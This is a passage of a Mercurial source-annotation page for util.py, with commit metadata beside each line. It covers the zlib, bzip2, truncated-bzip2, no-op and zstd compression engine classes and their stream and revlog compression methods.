Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3566 and size. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3567 """ |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3568 return 'gzip', 'GZ' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3569 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3570 def wireprotosupport(self): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3571 return compewireprotosupport('zlib', 20, 20) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3572 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3573 def revlogheader(self): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3574 return 'x' |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3575 |
30356
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3576 def compressstream(self, it, opts=None): |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3577 opts = opts or {} |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3578 |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3579 z = zlib.compressobj(opts.get('level', -1)) |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3580 for chunk in it: |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3581 data = z.compress(chunk) |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3582 # Not all calls to compress emit data. It is cheaper to inspect |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3583 # here than to feed empty chunks through generator. |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3584 if data: |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3585 yield data |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3586 |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3587 yield z.flush() |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3588 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3589 def decompressorreader(self, fh): |
38713
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3590 return _GzipCompressedStreamReader(fh) |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3591 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3592 class zlibrevlogcompressor(object): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3593 def compress(self, data): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3594 insize = len(data) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3595 # Caller handles empty input case. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3596 assert insize > 0 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3597 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3598 if insize < 44: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3599 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3600 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3601 elif insize <= 1000000: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3602 compressed = zlib.compress(data) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3603 if len(compressed) < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3604 return compressed |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3605 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3606 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3607 # zlib makes an internal copy of the input buffer, doubling |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3608 # memory usage for large inputs. So do streaming compression |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3609 # on large inputs. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3610 else: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3611 z = zlib.compressobj() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3612 parts = [] |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3613 pos = 0 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3614 while pos < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3615 pos2 = pos + 2**20 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3616 parts.append(z.compress(data[pos:pos2])) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3617 pos = pos2 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3618 parts.append(z.flush()) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3619 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3620 if sum(map(len, parts)) < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3621 return ''.join(parts) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3622 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3623 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3624 def decompress(self, data): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3625 try: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3626 return zlib.decompress(data) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3627 except zlib.error as e: |
39777
b63dee7bd0d9
global: replace most uses of RevlogError with StorageError (API)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39571
diff
changeset
|
3628 raise error.StorageError(_('revlog decompress error: %s') % |
b63dee7bd0d9
global: replace most uses of RevlogError with StorageError (API)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39571
diff
changeset
|
3629 stringutil.forcebytestr(e)) |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3630 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3631 def revlogcompressor(self, opts=None): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3632 return self.zlibrevlogcompressor() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3633 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3634 compengines.register(_zlibengine()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3635 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3636 class _bz2engine(compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3637 def name(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3638 return 'bz2' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3639 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3640 def bundletype(self): |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3641 """An algorithm that produces smaller bundles than ``gzip``. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3642 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3643 All Mercurial clients should support this format. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3644 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3645 This engine will likely produce smaller bundles than ``gzip`` but |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3646 will be significantly slower, both during compression and |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3647 decompression. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3648 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3649 If available, the ``zstd`` engine can yield similar or better |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3650 compression at much higher speeds. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3651 """ |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3652 return 'bzip2', 'BZ' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3653 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3654 # We declare a protocol name but don't advertise by default because |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3655 # it is slow. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3656 def wireprotosupport(self): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3657 return compewireprotosupport('bzip2', 0, 0) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3658 |
30356
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3659 def compressstream(self, it, opts=None): |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3660 opts = opts or {} |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3661 z = bz2.BZ2Compressor(opts.get('level', 9)) |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3662 for chunk in it: |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3663 data = z.compress(chunk) |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3664 if data: |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3665 yield data |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3666 |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3667 yield z.flush() |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3668 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3669 def decompressorreader(self, fh): |
38713
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3670 return _BZ2CompressedStreamReader(fh) |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3671 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3672 compengines.register(_bz2engine()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3673 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3674 class _truncatedbz2engine(compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3675 def name(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3676 return 'bz2truncated' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3677 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3678 def bundletype(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3679 return None, '_truncatedBZ' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3680 |
30359
673f0fdc1046
util: remove compressorobj API from compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30356
diff
changeset
|
3681 # We don't implement compressstream because it is hackily handled elsewhere. |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3682 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3683 def decompressorreader(self, fh): |
38713
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3684 return _TruncatedBZ2CompressedStreamReader(fh) |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3685 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3686 compengines.register(_truncatedbz2engine()) |
30265
6a8aff737a17
util: put compression code next to each other
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30181
diff
changeset
|
3687 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3688 class _noopengine(compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3689 def name(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3690 return 'none' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3691 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3692 def bundletype(self): |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3693 """No compression is performed. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3694 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3695 Use this compression engine to explicitly disable compression. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3696 """ |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3697 return 'none', 'UN' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3698 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3699 # Clients always support uncompressed payloads. Servers don't because |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3700 # unless you are on a fast network, uncompressed payloads can easily |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3701 # saturate your network pipe. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3702 def wireprotosupport(self): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3703 return compewireprotosupport('none', 0, 10) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3704 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3705 # We don't implement revlogheader because it is handled specially |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3706 # in the revlog class. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3707 |
30356
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3708 def compressstream(self, it, opts=None): |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3709 return it |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3710 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3711 def decompressorreader(self, fh): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3712 return fh |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3713 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3714 class nooprevlogcompressor(object): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3715 def compress(self, data): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3716 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3717 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3718 def revlogcompressor(self, opts=None): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3719 return self.nooprevlogcompressor() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3720 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3721 compengines.register(_noopengine()) |
26266
1e042e31bd0c
changegroup: move all compressions utilities in util
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
26201
diff
changeset
|
3722 |
30442
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3723 class _zstdengine(compressionengine): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3724 def name(self): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3725 return 'zstd' |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3726 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3727 @propertycache |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3728 def _module(self): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3729 # Not all installs have the zstd module available. So defer importing |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3730 # until first access. |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3731 try: |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3732 from . import zstd |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3733 # Force delayed import. |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3734 zstd.__version__ |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3735 return zstd |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3736 except ImportError: |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3737 return None |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3738 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3739 def available(self): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3740 return bool(self._module) |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3741 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3742 def bundletype(self): |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3743 """A modern compression algorithm that is fast and highly flexible. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3744 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3745 Only supported by Mercurial 4.1 and newer clients. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3746 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3747 With the default settings, zstd compression is both faster and yields |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3748 better compression than ``gzip``. It also frequently yields better |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3749 compression than ``bzip2`` while operating at much higher speeds. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3750 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3751 If this engine is available and backwards compatibility is not a |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3752 concern, it is likely the best available engine. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3753 """ |
30442
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3754 return 'zstd', 'ZS' |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3755 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3756 def wireprotosupport(self): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3757 return compewireprotosupport('zstd', 50, 50) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3758 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3759 def revlogheader(self): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
